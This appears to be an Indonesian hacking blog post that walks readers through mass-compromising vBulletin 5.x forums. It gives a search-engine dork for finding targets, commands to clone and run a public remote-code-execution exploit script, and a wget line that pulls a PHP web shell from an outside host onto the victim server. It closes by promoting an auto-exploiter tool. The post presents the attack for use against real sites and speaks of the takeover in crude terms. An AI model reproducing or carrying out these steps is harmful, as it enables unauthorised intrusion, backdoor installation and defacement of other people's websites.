Dork:
intext:"Powered By vBulletin Version 5.5.4"
Tools exploiter: https://github.com/Frint0/mass-pwn-vbulletin
Dorking dlo yakan cari yg versi nya 5.0.0 - 5.4.4
$git clone https://github.com/Frint0/mass-pwn-vbulletin
$cd mass-pwn-vbulletin
$python2 exploit.py http://localhost/
Jika sudah kita ketik id atau uname -a terserah Kelen mainin commandnya
Jika seperti itu berarti bisa kita perkaos :D
Kita bisa langsung panggil shell nya atau klu mau kelen maenin sendiri command command nya hihi
Disini w langsung upload shellnya, caranya?
wget http://linkshell.com/shell.txt -O shell.php
Lalu cek apakah sudah terupload atau belum. Cara cek nya ketik ls
Yeap file aink (os.php) berhasil terupload muehehe
Langsung akses aj ykan (http://localhost/[path]/shell.php)
Selesai tinggal di perkosa aj webna.
UPDATE!
Bagi yg punya kendala blank pas execute command, simak cara bypass nya berikut.
UPDATE LAGI BOS! Karena link get content nya mokat kalian bisa menggunakan tools buatan w di vBulletin Rce Auto Exploiter. Yg pasti bisa auto bepas shell na ok tq.
No comments:
Post a Comment